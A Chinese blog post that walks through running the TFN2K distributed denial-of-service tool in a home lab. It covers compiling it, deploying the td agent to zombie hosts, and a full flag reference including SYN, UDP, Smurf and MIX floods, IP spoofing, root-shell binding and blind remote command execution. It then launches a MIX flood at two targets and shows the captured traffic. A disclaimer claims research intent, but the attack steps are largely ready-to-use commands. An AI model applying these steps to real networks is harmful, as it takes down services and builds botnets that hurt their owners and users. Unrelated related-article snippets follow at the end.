软件TFN 2K的分布式拒绝攻击(DDos)实战详解
写在前头
本人写这篇博客的目的,并不是我想成为黑客或者鼓励大家做损坏任何人安全和利益的事情。因科研需要,我学习软件TFN 2K的分布式拒绝攻击,只是分享自己的学习过程和经历,有助于大家更好的关注到网络安全及网络维护上。
需要强调的是,进行未经授权的网络攻击是非法的,违反了法律法规,可能导致刑事起诉和重大法律后果。
一定要尊重法律和道德,不要参与或支持任何网络攻击行为。如果你是网络管理员,应该采取适当的安全措施来保护你的网络免受DDoS攻击的影响。
这篇文章仅供技术参考,千万不要用其做一些违法操作!如果你利用它来做一些不合法的事情,那结果与我无关。
一. TFN 2K概述
什么是DDos
DDoS攻击(Distributed Denial of Service Attack),即分布式拒绝服务攻击。最简单的定义就是:多台电脑对一台电脑的攻击,占用目标服务器或网络资源的攻击行为
什么是TFN 2K
TFN 2K通过主控端利用大量代理端主机的资源进行对一个或多个目标进行协同攻击,是DDos的实现工具
攻击体系
主控端—运行TFN客户端,来遥控并指定攻击目标,更改攻击方法
代理端—被植入并运行TD进程的牺牲品,接受TFN的指挥,攻击的实施者

TFN 2K特性
- 主控端通过随机
TCP、UDP、ICMP之一的数据包向代理端主机发送命令,攻击方法包括TCP/SYN、UDP、ICMP/PING、混合攻击、TARGA3等。 - 主控端与代理端的通讯采取单向,即主控端只向代理端发送命令,并且会采取随机的头信息,甚至虚拟的源地址信息,代理端不会逆向向主控端发送任何信息。
二. 安装配置
我在个人本地服务器上部署了几台设备,来模拟应用场景。网络拓扑如下,需实现Master控制两台Attacker攻击两台Defender

2.1 安装TFN
在主控端Master下载TFN 2K软件(因软件的特殊性,本人概不提供相关的下载渠道),设下载并解压的文件夹名称为TFN2K。
切换至下载目录,对软件进行编译,同时设置一个八位数的登录密码
cd TFN2K/src
make
编译后即可生成tfn和td

登录所有代理端,将主机端的td下载到代理端本地
scp root@192.166.60.1:/root/TFN2K/src/td ./
scp root@192.166.61.1:/root/TFN2K/src/td ./
为td赋权,并执行文件,此时,代理端部署完毕
chmod 777 td
./td
可利用ps -a查看进程,发现td已经在运行了

2.2 TFN命令讲解
可在主控端输入./tfn查看相关参数
-P protocol:设置服务器通信的协议。可以是ICMP、UDP或TCP。使用随机协议作为默认值-D n:为每个真实的请求发送n个虚假请求以诱骗目标-S hostIp:可指定源ip。默认情况下随机欺骗-f hostlist:存储TFN的所有主控端的文件名,表示其中所有主控端均实现攻击操作-h hostname:只利用该主控端发起攻击,也就是一对一的攻击,后面跟一个主机或IP地址-p port:为SYN洪泛指定TCP目标端口-c ID:攻击参数-c 0:停止攻击-c 1:设置反欺骗等级设定,用法:-i 0(完全欺骗)到-i 3(/24个主机字节欺骗)-c 2:改变攻击数据包大小,用法:-i <packet size in bytes>-c 3:将根shell绑定到一个指定的端口,用法:-i<remote port>-c 4:UDP洪水,用法:-i victim@victim2@victim3@...-c 5:TCP/SYN洪水,用法:-i victim@...[-p目标端口]-c 6:ICMP/PING洪水,用法:-i victim@...-c 7:ICMP/SMURF洪水,用法:-i victim@broadcast@broadcast2@...-c 8:MIX flood(随机UDP/TCP/ICMP攻击),用法:-i victim@...-c 9:TARGA3洪水(IP堆栈渗透),用法:-i victim@...-c 10:盲目执行远程shell命令,使用-i命令,一般还可用于远程命令控制
2.3 测试TD
在实现泛洪攻击前,先对所有的代理端进行测试,测试其是否可“听从”主控端的安排
创建host.txt文件用于记录所有运行了./td文件的代理端
echo "192.166.60.2" > host.txt
echo "192.166.61.2" > host.txt
操作tfn向所有的代理端实现创建文件夹的命令,一般创建的文件夹都和td在同一级目录
./tfn -f /root/TFN2K/host.txt -c 10 -i "mkdir TestMakeDir"
查看代理端可知,文件夹创建成功,表明主控端可操作所有的代理端

三. 攻击
3.1 准备工作
先为被攻击服务器安装流量抓包软件,在DF1上安装tcpdump
apt install tcpdump
测试抓取15秒内的流量,并输出为文件形式
tcpdump -i eth1 -w "getFlow.pcap" -G 15
在DF2上安装tshark
apt install tshark
# 倘若不能安装便先安装wireshark
apt install wireshark
测试抓取15秒内的流量,并输出为文件形式
tshark -i eth1 -a duration:15 -w "getFlow.pcap"
3.2 发送攻击
开启流量捕获,利用控制端Master向代理端发出攻击请求,利用MIX flood攻击DF1和DF2
./tfn -f /root/TFN2K/host.txt -c 8 -i 192.166.65.1@192.166.66.1
15秒后停止流量攻击
./tfn -f /root/TFN2K/host.txt -c 0
3.3 查看结果
查看DF1中捕获的流量,发现存在大量UDP和TCP数据流
tcpdump -r getFlow.pcap

因没有直接记录数据大小,可以通过ls -l查看文件大小间接来判断捕获的数据流,可知确实捕获了大量数据

查看DF2中捕获的流量,DF2中更直观,表明捕获了约75万个数据流
tshark -r getFlow.pcap

通过ls -l查看文件大小,可知确实捕获了大量数据

3.4 解惑
我们发送的是MIX flood,表示随机UDP/TCP/ICMP攻击,但是在捕获流量的文件中并没有查看到ICMP类型的流量,这是为什么呢?
通过我查阅资料可知:ICMP洪泛攻击现已经过时,不再有效,网络管理员和服务提供商已经采取了各种防护措施,包括用于过滤恶意流量的设备和防火墙规则,这些自带的防护措施可以检测到大量的ICMP流量,并在检测到异常或过多的流量时采取措施,以减轻对目标系统的影响。但UDP和TCP攻击可能更难检测和阻止,因为它们模拟更常见的网络通信模式。
相关文章:
软件TFN 2K的分布式拒绝攻击(DDos)实战详解
写在前头 本人写这篇博客的目的,并不是我想成为黑客或者鼓励大家做损坏任何人安全和利益的事情。因科研需要,我学习软件TFN 2K的分布式拒绝攻击,只是分享自己的学习过程和经历,有助于大家更好的关注到网络安全及网络维护上。 需要…...
计算机网络第四章——网络层(末)
赌书消得泼茶香当时只道是寻常 文章目录 概述:组播机制是让源计算机一次发送的单个分组可以抵达用一个组地址标识的若干目标主机,并被它们正确接收,组播仅应用于UDP 因特网中的IP组播也使用组播组的概念,每个组都有一个特别分配的…...
Newman基本使用
目录 简介 安装 使用 官网 运行 输出测试报告文件 htmlextra 使用 简介 Newman 是 Postman 推出的一个 nodejs 库,直接来说就是 Postman 的json文件可以在命令行执行的插件。 Newman 可以方便地运行和测试集合,并用之构造接口自动化测试和持续集成…...
左值引用右值引用
文章目录 左值和右值什么是左值什么是右值左值引用与右值引用的比较左值引用总结右值引用的总结: 右值引用使用场景和意义左值引用的使用场景左值引用的短板 右值引用和移动语义解决上面的问题不仅仅有移动构造还有移动赋值 右值引用引用左值及其一些更深入的使用场…...
学习开发一个RISC-V上的操作系统(汪辰老师) — 一次RV32I加法指令的反汇编
前言 (1)此系列文章是跟着汪辰老师的RISC-V课程所记录的学习笔记。 (2)该课程相关代码gitee链接; (3)PLCT实验室实习生长期招聘:招聘信息链接 前置知识 RISC-V 汇编指令编码格式 &a…...
IDEA中点击New没有Java Class
解决办法:右键src,也可以是其他文件名,点击Mark Directory as 点击Sources Root即可...
打造炫酷效果:用Java优雅地制作Excel迷你图
摘要:本文由葡萄城技术团队原创并首发。转载请注明出处:葡萄城官网,葡萄城为开发者提供专业的开发工具、解决方案和服务,赋能开发者。 前言 迷你图是一种简洁而有效的数据可视化方式,常用于展示趋势和变化。它通常由一…...
pycharm设置pyuic和pyrcc
pyuic设置 适合任何虚拟环境,直接用虚拟环境的python解决一切。。。 E:\anaconda3\envs\qt5\python.exe-m PyQt5.uic.pyuic $FileName$ -o $FileNameWithoutExtension$.py$FileDir$pyrcc设置 E:\anaconda3\envs\qt5\python.exe-m PyQt5.pyrcc_main $FileName$ -o…...
OpenCV6-图形绘制
OpenCV6-图形绘制 1.绘制圆形2.绘制直线3.绘制椭圆4.绘制多边形5.文字生成6.demo 1.绘制圆形 void cv::circle(InputOutputArray img, // 需要绘制圆形的图像Point center, // 圆心坐标int radius, // 半径,单位为像素const Scalar& colo…...
kafka消费者程序日志报错Offset commit failed问题研究
生产环境偶尔会遇到kafka消费者程序日志报错的问题 截取主要日志如下: 2023-10-02 19:35:28.554 {trace: d7f97f70dd693e3d} ERROR[Thread-49:137] ConsumerCoordinator$OffsetCommitResponseHandler.handle(812) - [Consumer clientIdconsumer-1, groupIdcid_yin…...
SpringBoot+原生HTML+MySQL开发的电子病历系统源码
电子病历系统源码 电子病历编辑器源码 云端SaaS服务 电子病历系统,采用 “所见即所得、一体化方式”,协助医生和护士准确、标准、快捷实现病历书写、修改、审阅、打印、体温单浏览、医嘱管理等,是提供病历快速简洁化完成的一系列综合型医生病…...
软件测试/测试开发/人工智能丨聊聊AutoGPT那些事儿
点此获取更多相关资料 简介 在 ChatGPT 问世之后,大家很容易就发现其依然具备一些很难解决的问题,比如: Token 超出限制怎么办?(目前最新的 GPT4 支持最多8,192 tokens)。如何完全自动化?任务…...
KdMapper扩展实现之SOKNO S.R.L(speedfan.sys)
1.背景 KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。 2.驱动信息 驱动名称spee…...
MATLAB算法实战应用案例精讲-【图像处理】计算机视觉
目录 前言 几个高频面试题目 计算机视觉与图像处理、模式识别、机器学习学科之间的关系 计算机视觉和机器人视觉区别与联系...
docker应用的缓存 docker缓存机制
Docker镜像用作Docker执行程序中的主映像。它们是容器的蓝图,提供了有关如何生成容器的说明。在本文中,我将介绍一些经常被忽视的概念,这些概念将有助于优化Docker镜像开发和构建过程。 让我们从Docker构建过程的简短描述开始。这是通过使用…...
借助 ZooKeeper 生成唯一 UUID
ZooKeeper是一个分布式协调服务,它主要用于在分布式系统中管理和协调各种资源。它本身并不提供生成唯一UUID的功能,但你可以借助ZooKeeper来实现生成唯一UUID的机制。 下面是一种基于ZooKeeper的方法来生成唯一UUID的示例: 在ZooKeeper中创建…...
Redis哨兵机制原理
Redis哨兵机制可以保证Redis服务的高可用性。它通过启动一个或多个哨兵进程,监控Redis主服务器是否宕机,如果宕机,哨兵进程会自动将一个从服务器(Slave)升级为主服务器(Master),并通…...
Maven Web应用
目录 创建 Web 应用 构建 Web 应用 部署 Web 应用 测试 Web 应用 本章节我们将学习如何使用版本控制系统 Maven 来管理一个基于 web 的项目,如何创建、构建、部署以及运行一个 web 应用。 创建 Web 应用 我们可以使用 maven-archetype-webapp 插件来创建一个简…...
考古:MFC界面的自适应缩放(代码示例)
MFC窗体的控件的自适应缩放早期VS开发环境是不支持的,后来VS开发环境提供了支持但也简单,或者固定的缩放比例不符合要求。我一向坚持一个理念:“不支持缩放的窗口不是好窗口”,所以需要有一个自定义的缩放处理。机制不复杂&#x…...
计算机网络 | 物理层
计算机网络 | 物理层 计算机网络 | 物理层基本概念数据通信基本知识(一)一个数据通信流程的例子数据通信相关术语三种通信方式数据传输方式串行传输和并行传输同步传输和异步传输 小结 数据通信基本知识(二)码元(Symbo…...
CVPR 2025 MIMO: 支持视觉指代和像素grounding 的医学视觉语言模型
CVPR 2025 | MIMO:支持视觉指代和像素对齐的医学视觉语言模型 论文信息 标题:MIMO: A medical vision language model with visual referring multimodal input and pixel grounding multimodal output作者:Yanyuan Chen, Dexuan Xu, Yu Hu…...
AI Agent与Agentic AI:原理、应用、挑战与未来展望
文章目录 一、引言二、AI Agent与Agentic AI的兴起2.1 技术契机与生态成熟2.2 Agent的定义与特征2.3 Agent的发展历程 三、AI Agent的核心技术栈解密3.1 感知模块代码示例:使用Python和OpenCV进行图像识别 3.2 认知与决策模块代码示例:使用OpenAI GPT-3进…...
从零实现富文本编辑器#5-编辑器选区模型的状态结构表达
先前我们总结了浏览器选区模型的交互策略,并且实现了基本的选区操作,还调研了自绘选区的实现。那么相对的,我们还需要设计编辑器的选区表达,也可以称为模型选区。编辑器中应用变更时的操作范围,就是以模型选区为基准来…...
Swift 协议扩展精进之路:解决 CoreData 托管实体子类的类型不匹配问题(下)
概述 在 Swift 开发语言中,各位秃头小码农们可以充分利用语法本身所带来的便利去劈荆斩棘。我们还可以恣意利用泛型、协议关联类型和协议扩展来进一步简化和优化我们复杂的代码需求。 不过,在涉及到多个子类派生于基类进行多态模拟的场景下,…...
质量体系的重要
质量体系是为确保产品、服务或过程质量满足规定要求,由相互关联的要素构成的有机整体。其核心内容可归纳为以下五个方面: 🏛️ 一、组织架构与职责 质量体系明确组织内各部门、岗位的职责与权限,形成层级清晰的管理网络…...
Java多线程实现之Callable接口深度解析
Java多线程实现之Callable接口深度解析 一、Callable接口概述1.1 接口定义1.2 与Runnable接口的对比1.3 Future接口与FutureTask类 二、Callable接口的基本使用方法2.1 传统方式实现Callable接口2.2 使用Lambda表达式简化Callable实现2.3 使用FutureTask类执行Callable任务 三、…...
10-Oracle 23 ai Vector Search 概述和参数
一、Oracle AI Vector Search 概述 企业和个人都在尝试各种AI,使用客户端或是内部自己搭建集成大模型的终端,加速与大型语言模型(LLM)的结合,同时使用检索增强生成(Retrieval Augmented Generation &#…...
以光量子为例,详解量子获取方式
光量子技术获取量子比特可在室温下进行。该方式有望通过与名为硅光子学(silicon photonics)的光波导(optical waveguide)芯片制造技术和光纤等光通信技术相结合来实现量子计算机。量子力学中,光既是波又是粒子。光子本…...
Python 包管理器 uv 介绍
Python 包管理器 uv 全面介绍 uv 是由 Astral(热门工具 Ruff 的开发者)推出的下一代高性能 Python 包管理器和构建工具,用 Rust 编写。它旨在解决传统工具(如 pip、virtualenv、pip-tools)的性能瓶颈,同时…...
CRMEB 中 PHP 短信扩展开发:涵盖一号通、阿里云、腾讯云、创蓝
目前已有一号通短信、阿里云短信、腾讯云短信扩展 扩展入口文件 文件目录 crmeb\services\sms\Sms.php 默认驱动类型为:一号通 namespace crmeb\services\sms;use crmeb\basic\BaseManager; use crmeb\services\AccessTokenServeService; use crmeb\services\sms\…...
